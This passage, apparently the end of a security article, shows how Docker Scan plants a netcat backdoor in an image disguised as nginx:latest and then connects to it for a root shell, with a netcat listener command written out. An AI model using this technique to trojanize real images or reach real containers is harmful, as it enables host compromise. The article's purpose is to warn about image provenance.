Backdoor Access

Considering how well Docker Scan handled the Docker API and processed its commands, I'm certain the image is indeed running netcat in the background, which is providing remote shell access. Of course, you can check that properly by running your new image (image 35640fed495c is tagged as nginx:latest ) and firing up a new Nginx container:

$ docker run nginx:latest

By using netcat in the other direction, you connect the listening netcat instance within the container. You can refer back to the netcat article mentioned earlier [11] if you get stuck. Note that the command

$ nc -v -k -l XXX.XXX.XXX.XXX 2222

connects locally (not publicly, which is what the XXX.XXX.XXX.XXX IP address would provide under the trojanize command used earlier).

Table 1 spills the beans: You're logged in as root and have access the top level of the filesystem! For clarity, I include the commands I used; they run in a pseudo-shell of sorts that does not have the usual prompt. Frighteningly enough, however, such a shell runs all the system-level commands you'd need to hack a container and, potentially, its host.

As you can imagine from the information in Table 1, you now truly own the container and indeed anything that it can do on the host. I will leave you to mull over the blast radius that might involve.

The End Is Nigh

With popular image registries now brimming with publicly accessible images, you can see why being able to determine the provenance of a container image is so critical to your security posture.

I've barely scratched the surface of the sophisticated Docker Scan tool, which I hope you will spend some time looking into. Once the Python environment is up and running, it's very slick and easy to use, with a number of features that are well worth investigating.